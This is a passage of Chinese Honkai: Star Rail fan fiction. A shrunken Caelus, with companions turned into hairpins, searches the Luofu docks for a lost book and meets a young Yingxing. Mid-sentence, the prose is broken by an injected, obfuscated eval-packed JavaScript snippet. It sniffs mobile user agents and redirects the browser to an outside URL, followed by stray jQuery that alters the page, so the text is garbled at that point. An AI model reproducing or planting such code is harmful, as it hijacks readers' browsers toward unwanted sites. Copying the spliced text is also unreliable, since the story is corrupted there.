第二天一早,天刚蒙蒙亮,穹坐在床上打着哈欠。
“哈——”他张大嘴,哈欠一个接着一个,打得眼泪都出来了,像只困倦的小猫。
罗浮现在的模拟季节虽然是夏季,但清晨的风还是有些凉,他将衣领紧了紧,顺便将星期日放进口袋里,让他能避着点风,“为什么要起这么早啊,才四点耶。”
四点!他可是小孩子耶!正是需要长身体的时候!需要睡眠!
【毕竟我们是偷偷溜出来的,】丹恒发夹被安置在另一个口袋里【我们必须在医助查房和其他人来之前回来。】
【哎——】穹拖长音调,小脸上写满不情愿。他扒在门边观察了一圈,确认没人后,蹑手蹑脚地溜出丹鼎司,【得先找找这个时代的界域定锚了。不然从丹鼎司到星槎海来回跑,会累死的。】
之前有定锚的时候,他都是直接传送的。现在倒好,全靠两条小短腿。
【原来点亮的那些全失灵了。】他看了眼手机屏幕上灰掉的那些图标,心痛得像丢了十个金色垃圾。
【这的确是件要事。】星期日的声音从口袋里传来,听起来有些困倦,闷闷的。看来新环境的陌生和担忧让他没睡好——再加上这里也没有姬子的咖啡让人拥有安详的睡眠,小鸟整个都蔫蔫的。他顿了顿,【三月小姐似乎一直没出声?】
【她还没醒。】丹恒发夹的尾巴轻轻摇了摇,指向旁边睡得死死的三月七。那只粉色水母发夹安安静静地待着,触手软绵绵地垂下来,随着穹走路的步伐轻轻晃动。
“真是的,我们在这说了这么久也没吵醒小三月。”穹又打了个哈欠,揉了揉眼睛。他现在深刻体会到什么叫“身体被掏空”——明明脑子醒了,身体还在抗议。
他最后认命地拍了拍两个口袋,像在安慰困倦的伙伴:“你们也睡会儿吧。我走过去还需要点时间。”穹活动了下身体,恢复得差不多了,但想要和昨天一样跑起来还是费劲。从丹鼎司到星槎海,按照他现在这个小短腿的速度,至少一个系统时起步。
【辛苦你了,穹。】丹恒的声音里带着一丝心疼,【路上小心。】
【放心吧!银河球棒侠最擅长的就是——】
【翻垃圾桶?】三月七迷迷糊糊地接了一句,然后又没声了。
【……她到底是醒了还是没醒?】穹疑惑。
【说梦话吧。】丹恒平静地总结。
等到穹来到星槎海码头时,已经过了一个半系统时。
清晨的码头还没有白日时喧嚣,但也已经聚集了不少工人,货物搬运的声音显得格外清晰,也给穹提供了绝佳的掩护。
穹很快找到了昨天那个堆放货物的区域。
那个熟悉的大箱子,看着箱子上的红字:罗浮仙舟工造司精密零件·轻拿轻放·易碎勿压。穹心虚地移开了眼,感觉这上面的每个字都在谴责他。
穹深吸一口气,观察四周,箱子的周围暂时没有人,工人都在远处区域忙碌。箱子的盖子甚至没完全合拢,似乎昨天被他匆忙爬出后就没再动过了。
【嗯?没人来查看吗?】终于清醒的三月七发出疑问。
丹恒也变得严肃起来,【穹,把我放在头上。】
“哦,好!”穹听话地将丹恒发夹从口袋里取出来,重新别回头上。又把三月七也拿出来,两个发夹并排待着。
星期日也从口袋里钻出来,扑棱着翅膀站到他头顶。
【穹,有些奇怪。】丹恒的声音凝重,【还是小心为妙比较好。】
【嗯。】穹点点头,【我们应该没得罪人吧,不至于套我麻袋吧……】
不过为了找回那本书,就算是个火坑他们也得跳。
【不会是工造司的人要抓我们吧。】三月七发散思维。【比如先埋伏在周围,等我们一靠近就一拥而上!然后把我们关进小黑屋!让我们赔钱!赔不起就——就——】
丹恒:……
【这……工造司是正经部门,应该是不会这样做的。】星期日眨了眨眼。
【不管了!】穹直接走上前,小短腿迈得虎虎生风,【反正就算要打,受伤也是他们!】
【小心点呀——】三月七发出担忧的声音。也不是不信任穹的战斗力,只是穹现在的形象——一个六岁小孩,圆滚滚的脸,还没白珩腿高——真的很难不让人担心。
穹扒开半掩的盖子,小短腿一蹬,挂在箱子边缘往里看。
箱子里一片狼藉。
缓冲用的气泡膜被压扁撕裂了一大片,散落的零件上果然添上了不少划痕,甚至有几个脆弱的零件被踩扁了。
穹缩了缩脖子,【真是对不起公输师傅的教诲啊……】他在心里默默道歉,【公输师傅,我不是故意的……您老人家千万别托梦骂我……】
【喂!公输师傅还活着呢!】
然后穹飞快地钻了进去。
顾不上内疚,立刻在箱子里翻找起来。气泡膜下面,零件缝隙里……没有。他摸索着箱壁,甚至把脑袋伸进角落的阴影里看。
没有!
哪里都没有!
那本该死的书不见了!
冷汗瞬间冒了出来。【找不到!怎么会找不到呢?!我昨天明明就丢在这里的!】他在脑海里焦急地呼喊。
【冷静,穹。】丹恒的声音带着安抚的力量。【仔细想想,你昨天爬出来时,书是掉在箱底的吗?会不会被缓冲材料盖住了更深的地方?或者……在你晕头转向逃跑时,不小心带了出来,掉在路上了?】
“不可能!我记得很清楚!”穹很肯定,“我爬出来的时候根本没拿!它就留在这里面!”
【再找一遍!】三月七也急了,【说不定被压在最下面了!】
穹咬着牙,不顾那些“精密零件”,几乎把整个箱子翻了个底朝天。气泡膜被彻底掀开,零件被小心地拨到一边,但不可避免地再次碰撞。
依然空空如也。
“难道我真的记错了吗?”穹瘫坐在一堆狼藉中间,小脸上写满了怀疑人生。“可我明明记得……”
【我们还是先出去吧,这里已经被翻遍了。】星期日也从角落里出来,同样一无所获,【而且外面的人越来越多了。】
穹皱起小脸,似乎不愿意就这样放弃。他盯着那个本该放书的地方,仿佛用眼神就能把书等出来。
“……好吧。”
穹最后看了一眼那个位置,重新将盖子推开,准备爬出去。
‘是不是忘了什么……’这个念头刚闪过,他低头。
身体顿时一僵。
一双紫眸正上下打量着他。
“果然你就是犯人吗?”说话的人一头白发用发簪挽住,簪子末端的流苏随着歪头的动作摇晃着,身穿工造司学徒的制服,年纪看起来也就十四五岁,脸上还带着少年特有的清俊和一丝不易察觉的傲气。
最重要的是那张脸——
那张脸!
“你你你——”
小浣熊吓得花容失色,瞬间掉成线稿了!
等等等——不对不对,嗯?对的对的!对吗?不对吧——
他的大脑在这一刻彻底宕机只剩下一个画面循环播放:眼前这张年轻的、还带着少年气的脸,和他记忆深处那张狂笑着、眼里满是疯狂、举着剑要砍人的脸,开始疯狂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357906|199707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重合。
看着眼前这个和他家二舅气质不说一模一样,只能说是毫不相干的少年,穹立刻捂住头上的发夹!
“我滴舅耶!”
穹惨叫一声,失去双手的支撑,整个人垂直地倒了下去。
哐当——!
应星还没来得及思考眼前这个小灰毛的话,就看见本来挂在箱沿上的小孩儿正在做自由落体。
他赶紧伸手去接,然后两人一起狠狠地摔在了地上。
应星的后背结结实实地撞上地面,发出一声闷响。他闷哼一声,感觉五脏六腑都移位了。而那个罪魁祸首正坐在他肚子上,一动不动。
应星还没来得及开口,就见那个小孩猛地回过神来,深吸一口气,然后——伸出两只罪恶的小手,狠狠地捏住了他的脸。
“我没在做梦吧……”穹喃喃自语,手下还用力揉了揉,像是在确认什么?
应星皱起眉,将浣熊爪拍开,站起来,“要捏捏你自己的。”
穹依旧盯着应星的脸,目瞪口呆。
应星被他看得发毛,也下意识摸了摸自己的脸,自己长得有那么吓人吗……?不至于吧,师父一直夸自己俊俏。
最后应星干脆站起身,重新板起脸,说起最开始的目的:“你就是破坏零件的人?”
看着瞬间紧张起来、脑子似乎有些不好的人,意识到自己可能吓到孩子了,应星轻咳一声,将穹扶起来,试图缓解一下氛围。
他解释道,“我没有在审问你,只是刚才感受到了视线,以为是来找麻烦的人。”
“没想到是个重返犯罪现场的小犯人。”说罢又打量了一下眼前的灰毛小孩,因为爬箱子和翻零件,头发乱糟糟的,脸上也蹭了不少灰。
应星微微皱起眉,从怀里掏出手帕擦了擦对方的脸。
力道意外地轻柔。穹眨眨眼,“你认识我?”“昨天巡查的云骑和白珩姐已经报告过事情的经过了。”应星眯起眼睛,擦完最后一块灰,把手帕收回怀里,“我被派来计算损失。”他顿了顿,故意压低声音,做出严肃的表情,“你在工造司打工一辈子也赔不起的损失。”
他等着看这个小孩露出害怕或者讨饶的表情。
然而,眼前的小孩并没有预想中的反应。相反,那双金色的眼睛突然亮了起来,然后——
一只小手猛地抓住他的衣角。
“二舅——!!”
穹的喊声清脆响亮,在清晨的码头回荡。
应星愣住了。
“哈?”他怀疑自己的耳朵出了问题。
“二舅!我终于找到你了!”穹继续喊,小脸上满是激动,眼眶都红了——这次是真的激动,不是装的。
应星低头看着这个死死抓住自己衣角、像抓住救命稻草一样的小孩,陷入了深深的迷惑。
他什么时候多了这么大个侄子?
“真是个狡猾的孩子。”他努力维持严肃的表情,强烈谴责穹随意认亲戚的行为,“为了不付赔款,连舅舅都喊出来了!”
“不!你就是我二舅!”穹理直气壮,小手抓得更紧了。
不管是不是,先认下再说!他现在身无分文,把他们四个卖了都赔不起那些零件!
穹一脸认真,反而让应星自我怀疑了一下。
“那你也是认错了。我叫应星,你仔细看看不是你的舅舅。”看着小孩一脸倔强的样子,应星不得不强调了一遍自己的名字。
有点耳熟的名字。
穹眨眨眼,决定死磕到底。
反正要钱没有,要脸也没有,“那你就是我三舅——”
应星:“……?”